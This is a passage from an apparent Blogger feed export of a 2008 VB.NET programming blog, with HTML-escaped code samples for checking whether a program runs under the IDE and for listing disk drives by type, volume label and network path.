&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;

&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;And finally the actual function.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; RunningUnderIDE() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
Attribute RunningUnderIDE.VB_Description = &lt;span class=&quot;str&quot;&gt;&amp;quot;Returns boolean value telling if program is running under IDE. False means that program is compiled version.&amp;quot;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39; Returns boolean value telling if we are running under IDE&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39; (False means we are running the compiled version)&lt;/span&gt;
&lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  RunningUnderIDE = (GetProcessName &amp;lt;&amp;gt; App.EXEName)

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;Well, it worked but that&#39;s a quite lot more code than in VB.NET version.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/8679487334978903294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/8679487334978903294' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/8679487334978903294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/8679487334978903294'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2008/10/check-with-vbnet-if-running-under-ide.html' title='Check with VB.NET if running under IDE'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-2018523048951831510</id><published>2008-09-29T04:35:00.001-07:00</published><updated>2008-09-29T04:35:57.476-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="Disk Drive Type"/><category scheme="http://www.blogger.com/atom/ns#" term="DriveInfo"/><category scheme="http://www.blogger.com/atom/ns#" term="Network Drive"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>Get disk drive type with VB.NET</title><content type='html'>&lt;p&gt;Sometimes you have to find disk drives of particular type. For example, you may have to search all removable disk drives or network mapped drives with VB.NET.&lt;/p&gt;  &lt;p&gt;This sample shows how to check all drives and get their drive type, volume label and check if the drive is ready.&lt;/p&gt;  &lt;p&gt;First, create a new standard WinForms project. Drop in a one button control and a one listbox control.&lt;/p&gt;  &lt;p&gt;Import System.IO namespace&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Imports&lt;/span&gt; System.IO&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;




.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;and then add the following declaration and helper procedure after form&#39;s declaration&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Declare&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; WNetGetConnection &lt;span class=&quot;kwrd&quot;&gt;Lib&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;mpr.dll&amp;quot;&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Alias&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;WNetGetConnectionA&amp;quot;&lt;/span&gt; _
 (&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; lpszLocalName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; lpszRemoteName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; cbRemoteName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; GetNetDriveName(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; DriveLetter &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39; Return mapped drive UNC name&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; RetVal &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; OutName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt; = &lt;span class=&quot;kwrd&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;(&lt;span class=&quot;kwrd&quot;&gt;CChar&lt;/span&gt;(&lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;), 260)
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; NameLength &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt; = 260

  &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
    RetVal = WNetGetConnection(DriveLetter, OutName, NameLength)
    OutName = OutName.Replace(Chr(0), &lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;).TrimEnd(&lt;span class=&quot;kwrd&quot;&gt;CChar&lt;/span&gt;(&lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;))
    &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; OutName
  &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; Exception
    &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Function&lt;/pre&gt;

&lt;p&gt;Mpr.dll is a Windows module which handles communication with installed networked providers. In this case its used in the helper function above to get UNC-name for mapped network drives.&lt;/p&gt;

&lt;p&gt;Next is the actual procedure which loops drive letters and returns available information.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; GetDrives(&lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; DriveLetter() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; VolumeLabel() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, _
  &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; DriveTypeVal() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DriveType, &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; PathToDrive() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, _
  &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; IsDriveReady() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;)
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39; Return available disc drives&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Const&lt;/span&gt; DRIVELETTERS &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt; = &lt;span class=&quot;str&quot;&gt;&amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&amp;quot;&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Info &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DriveInfo
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Count &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; i &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
    Count = DRIVELETTERS.Length - 1
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; DriveLetter(Count)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; VolumeLabel(Count)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; DriveTypeVal(Count)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; PathToDrive(Count)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; IsDriveReady(Count)
    &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; i = 0 &lt;span class=&quot;kwrd&quot;&gt;To&lt;/span&gt; Count
      DriveLetter(i) = DRIVELETTERS.Substring(i, 1)
      VolumeLabel(i) = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
      DriveTypeVal(i) = DriveType.Unknown
      PathToDrive(i) = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
      IsDriveReady(i) = &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; i
    &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Each&lt;/span&gt; Info &lt;span class=&quot;kwrd&quot;&gt;In&lt;/span&gt; My.Computer.FileSystem.Drives
      Count = DRIVELETTERS.IndexOf(Info.RootDirectory.FullName.Substring(0, 1))
      DriveTypeVal(Count) = Info.DriveType
      &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; Info.IsReady &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
        IsDriveReady(Count) = &lt;span class=&quot;kwrd&quot;&gt;True&lt;/span&gt;
        VolumeLabel(Count) = Info.VolumeLabel
      &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
        IsDriveReady(Count) = &lt;span class=&quot;kwrd&quot;&gt;False&lt;/span&gt;
        VolumeLabel(Count) = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; Info.DriveType = DriveType.Network &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
        PathToDrive(Count) = GetNetDriveName(DriveLetter(Count) &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;:&amp;quot;&lt;/span&gt;)
      &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
        PathToDrive(Count) = DriveLetter(Count) &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;:&amp;quot;&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; Info
  &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; Exception
    &lt;span class=&quot;rem&quot;&gt;&#39; Error handling&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Sub&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;And finally here&#39;s the code for Button1. The code call GetGrives-procedure and displays returned information in the ListBox1.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Private&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; Button1_Click(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; sender &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Object&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; e &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; System.EventArgs) &lt;span class=&quot;kwrd&quot;&gt;Handles&lt;/span&gt; Button1.Click
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39; Get drives and their types&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; DriveLetter() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; VolumeLabel() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; DriveTypeVal() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DriveType
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; PathToDrive() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; IsDriveReady() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempStr &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; i &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; DriveLetter(0)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; VolumeLabel(0)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; DriveTypeVal(0)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; PathToDrive(0)
    &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; IsDriveReady(0)
    GetDrives(DriveLetter, VolumeLabel, DriveTypeVal, PathToDrive, IsDriveReady)
    ListBox1.Items.Clear()
    TempStr = &lt;span class=&quot;str&quot;&gt;&amp;quot;DriveLetter&amp;quot;&lt;/span&gt; &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
    TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;DriveType&amp;quot;&lt;/span&gt; &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
    TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;VolumeLabel&amp;quot;&lt;/span&gt; &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
    TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;PathToDrive&amp;quot;&lt;/span&gt; &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
    TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;IsDriveReady&amp;quot;&lt;/span&gt;
    ListBox1.Items.Add(TempStr)
    &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; i = 0 &lt;span class=&quot;kwrd&quot;&gt;To&lt;/span&gt; DriveLetter.GetUpperBound(0)
      TempStr = DriveLetter(i) &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
      TempStr = TempStr &amp;amp; DriveTypeVal(i).ToString &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
      TempStr = TempStr &amp;amp; VolumeLabel(i) &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
      TempStr = TempStr &amp;amp; PathToDrive(i) &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;; &amp;quot;&lt;/span&gt;
      TempStr = TempStr &amp;amp; IsDriveReady(i).ToString
      ListBox1.Items.Add(TempStr)
    &lt;span class=&quot;kwrd&quot;&gt;Next&lt;/span&gt; i
  &lt;span class=&quot;kwrd&quot;&gt;Catch&lt;/span&gt; ex &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; Exception
    &lt;span class=&quot;rem&quot;&gt;&#39; Error handling&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;

&lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; Sub&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;The output looks something like this:&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;DriveLetter; DriveType; VolumeLabel; PathToDrive; IsDriveReady
A; Removable; ; A:; False
B; Unknown; ; ; False
C; Fixed; ; C:; True
D; Fixed; New Volume; D:; True
E; CDRom; ; E:; False
F; Fixed; HD-HCU2; F:; True
G; Fixed; HD-HSU2; G:; True
H; Fixed; MAXTOR; H:; True
I; Removable; PORTABLEAPP; I:; True
J; Unknown; ; ; False
K; Unknown; ; ; False
L; Unknown; ; ; False
M; Unknown; ; ; False
N; Unknown; ; ; False
O; Unknown; ; ; False
P; Unknown; ; ; False
Q; Unknown; ; ; False
R; Unknown; ; ; False
S; Unknown; ; ; False
T; Unknown; ; ; False
U; Unknown; ; ; False
V; Unknown; ; ; False
W; Unknown; ; ; False
X; Unknown; ; ; False
Y; Unknown; ; ; False
Z; Network; Vista; \\Cameron\Public; True&lt;/pre&gt;

&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;

.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;The listing shows that drive A is a removable disk but its not ready (it&#39;s a floppy disk drive). Drives C, D, F, G and H are hard disk drives and drive C has no volume label. Drive E is a CD/DVD drive and drive I is also a removable drive (USB memory stick). And finally drive Z is a network mapped drive.&lt;/p&gt;

&lt;p&gt;What can you do and do not with this information? First, the only USB drive is drive I because drive letters A and B are assigned to floppy disks even if you do not have one. Second, drive Z&#39;s volume label is &amp;quot;Vista&amp;quot; in the PC from which it is shared. The share name is &lt;a href=&quot;file://\\Cameron\Public&quot;&gt;\\Cameron\Public&lt;/a&gt; so the server&#39;s name is &amp;quot;Cameron&amp;quot; and the shared folder is &amp;quot;Public&amp;quot;.&lt;/p&gt;

&lt;p&gt;And there&#39;s a few things you won&#39;t get with this code. First, only two of the five fixed disk drives are internal drives and three drives are external had disk drives, but you can&#39;t tell which. At least for sure. Second, drive E is of type &amp;quot;CDRom&amp;quot; but it is actually a writable CD/DVD combo drive. But again, you can&#39;t tell the difference with this code.&lt;/p&gt;

&lt;h4&gt;Do more with DriveInfo class&lt;/h4&gt;

&lt;p&gt;Now that you know how to get this information. you may experience other properties that DriveInfo class offers. Here&#39;s a list of a few interesting properties:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Info.AvailableFreeSpace &lt;/li&gt;

  &lt;li&gt;Info.DriveFormat &lt;/li&gt;

  &lt;li&gt;Info.Name &lt;/li&gt;

  &lt;li&gt;Info.TotalFreeSpace &lt;/li&gt;

  &lt;li&gt;Info.TotalSize &lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Get drives of particular type with Visual Basic.NET&lt;/h4&gt;

&lt;p&gt;Here is a slight modification to the code above to make it more practical to use in VB.NET. This code gets the required drive type as parameter and returns only matching drives, if any. You may use this code to get only USB memory drives or network mapped drives for example.&lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; GetDrivesOfType(&lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; VolumeLabel() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, _
  &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; PathToDrive() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByRef&lt;/span&gt; IsDriveReady() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Boolean&lt;/span&gt;, _
  &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; DriveTypeVal &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DriveType)
  &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;rem&quot;&gt;&#39; Return drives of given type&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Info &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; DriveInfo
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; ThisLetter &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Char&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; Count &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Integer&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Try&lt;/span&gt;
    Count = 0
    &lt;span class=&quot;kwrd&quot;&gt;For&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Each&lt;/span&gt; Info &lt;span class=&quot;kwrd&quot;&gt;In&lt;/span&gt; My.Computer.FileSystem.Drives
      &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; Info.DriveType = DriveTypeVal &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Preserve&lt;/span&gt; VolumeLabel(Count)
        &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Preserve&lt;/span&gt; PathToDrive(Count)
        &lt;span class=&quot;kwrd&quot;&gt;ReDim&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Preserve&lt;/span&gt; IsDriveReady(Count)
        ThisLetter = &lt;span class=&quot;kwrd&quot;&gt;CChar&lt;/span&gt;(Info.RootDirectory.FullName.Substring(0, 1))
